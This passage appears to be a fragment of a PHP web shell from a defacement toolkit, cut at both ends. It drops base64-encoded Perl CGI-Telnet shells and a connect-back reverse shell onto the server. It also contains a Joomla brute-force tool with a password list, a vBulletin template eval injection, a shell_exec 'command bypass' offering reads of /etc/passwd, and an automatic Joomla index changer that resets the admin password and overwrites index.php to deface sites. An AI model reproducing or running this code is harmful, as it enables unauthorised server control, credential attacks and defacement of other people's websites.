FjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
$file = fopen("izo.cin" ,"w+");
$write = fwrite ($file ,base64_decode($cgishellizocin));
fclose($file);
chmod("izo.cin",0755);
$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==';
$file = fopen("dc.pl" ,"w+");
$write = fwrite ($file ,base64_decode($netcatshell));
fclose($file);
chmod("dc.pl",0755);
echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jbrute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jbrute" method="post">
</form>
<meta name="author" content="RetnOHacK" />
<meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
<meta name="description" content="RetnOHacK #Procoder'z Team Albanian" />
<center><b><font color="lime">+--=[ Joomla Bruter Force ]=--+</font></b><br /><br />
<form method="post" action="" enctype="multipart/form-data">
<table class="tabnet" width="38%" border="0"><center>
<th colspan="2">Joomla Brute Force</th>
<tr><td><p ><font class="d1">User :</font></th>
<input class="inputz" type='text' name="usr" value="admin" size="15"> </font><br />
<br /></p>
</td></tr>
<tr><td><font class="">Sites list :</font>
</td><td><font class="" >Pass list :</font></td></tr>
<tr>
<td>
<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
</td><td>
<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
admin
123456
password
102030
123123
12345
123456789
pass
test
admin123
demo
!@#$%^
</textarea>
</td></tr><center><tr><td>
<font >
<input class="inputzbut" type="submit" name="x" value="start" id="d4">
</font></td></tr><br>
makasih banggg !!!! <br></center></table>
</form></center>
<?
@set_time_limit(0);
if($_POST['x']){
echo "<hr>";
$sites = explode("
",$_POST["sites"]); // Get Sites
$w0rds = explode("
",$_POST["w0rds"]); // Get w0rdLiSt
$Attack = new Joomla_brute_Force(); // Active Class
foreach($w0rds as $pwd){
foreach($sites as $site){
$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D
flush();flush();
}
}
}
# Class & Function'z
function txt_cln($value){ return str_replace(array("
","
"),"",$value); }
class Joomla_brute_Force{
public function check_it($site,$user,$pass){ // print result
if(eregi('com_config',$this->post($site,$user,$pass))){
echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
"); fclose($f);
flush();
}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
}
public function post($site,$user,$pass){ // Post -> user & pass
$token = $this->extract_token($site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
public function extract_token($site){ // get token from source for -> function post
$source = $this->get_source($site);
preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
return $token[1][0];
}
public function get_source($site){ // get source for -> function extract_token
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
}
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=vb" method="post">
<br><br><br><div align="center">
<H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
<b><font color="#00FF00">+--=[ VB Index Changer ]=--+</font></b>
</div><br>
<?
if(empty($_POST['index'])){
echo "<center><FORM method=\"POST\">";
echo "<table class=\"tabnet\">
<th colspan=\"2\">Vb Index Changer</th>
<tr><td>host </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"localhost\" value=\"localhost\"></td></tr>
<tr><td>database </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"database\" value=\"forum_vb\"></td></tr>
<tr><td>username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"username\" value=\"user_vb\"></td></tr>
<tr><td>password </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"password\" value=\"vb\"></td></tr>
</tr>
<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
<TEXTAREA name=\"index\" rows=\"13\" style=\"background:black\" border=\"1\" cols=\"69\" name=\"code\">your index code</TEXTAREA><br>
<INPUT class=\"inputzbut\" type=\"submit\" value=\"setting\" name=\"send\">
</FORM></table></center>";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= base64_encode("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}</textarea>";
echo("UPDATE template SET template ='".$set_index."' ") ;
$ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
if($ok){
echo "!! update finish !!<br><br>";
}
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypasscbe'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=bypass" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>-=[ Command Bypass Exploit ]=-</font></b><br>
";
print_r('
<pre>
<form method="POST" action="">
<b><font color=#00ff00><b><font color="#00ff00">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="#00ff00">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="Gö">
</form>
</pre>
');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]);
$liz0zim=shell_exec($_POST[liz0]);
$uid=shell_exec('id');
$server=shell_exec('uname -a');
echo "<pre><h4>";
echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
"</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jodexer'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jodexer" method="post">
<?php
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
if ($_POST['form_action'])
{
$text=file_get_contents($_POST['file']);
$username=entre2v2($text,"public $user = '","';");
$password=entre2v2($text,"public $password = ', '","';");
$dbname=entre2v2($text,"public $db = ', '","';");
$dbprefix=entre2v2($text,"public $dbprefix = '","';");
$site_url=($_POST['site_url']);
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
$co=randomt();
/*
echo($username);
echo("<br>");
echo($password);
echo("<br>");
echo($dbname);
echo("<br>");
echo($dbprefix);
echo("<br>");
*/
$co=randomt();
if ($_POST['form_action'])
{
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
$link=mysql_connect("dzoed.druknet.bt",$username,$password) ;
mysql_select_db($dbname,$link) ;
$tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
echo("<br>[+] Changing admin password to 123456789");
$req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
if ( $req )
{
#################################################################
###################### V1.6 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
$data = mysql_fetch_array($req);
$template_id=$data["extension_id"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
///////////////////////////
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[~] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
if($hidden2) {
echo("<br>[+] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.6 END ######################
#################################################################
}
else
{
#################################################################
###################### V1.5 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
if($hidden2) {
echo("<br>[~] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message fade">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.5 END ######################
#################################################################
}
}
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
}?>
<center>
<br>
<font color="#00ff00" size='+3'><b>+--=[ Automatic Joomla Index Changer ]=--+</b></font><br><br>
</center>
<center><b>
Link of symlink configuration.php of Joomla<br></b>
<FORM action="" method="post">
<input type="hidden" name="form_action" value="1">
<input type="text" class="inputz" size="60" name="file" value="http://site.com/sym/home/user/public_html/configuration.php">
<br>
<br><b>
Admin Control panel url</b><br>
<input type="text" class="inputz" size="40" name="site_url" value="http://site/administrator"><br>
<br><b>
Your Index Code</b>
<br>
<TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code"> your index code
</TEXTAREA>
<br>
<INPUT class="inputzbut" type="submit" value="Lets Go Deface !!!" name="Submit">
</FORM>
<script language=JavaScript>m='%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>
<?php
}
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
echo "<center/><br/><b>
+--==[ CGI-Telnet Version 1.3 ]==--+
</b><br><br>";
mkdir('cgi2012', 0755);
chdir('cgi2012');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKC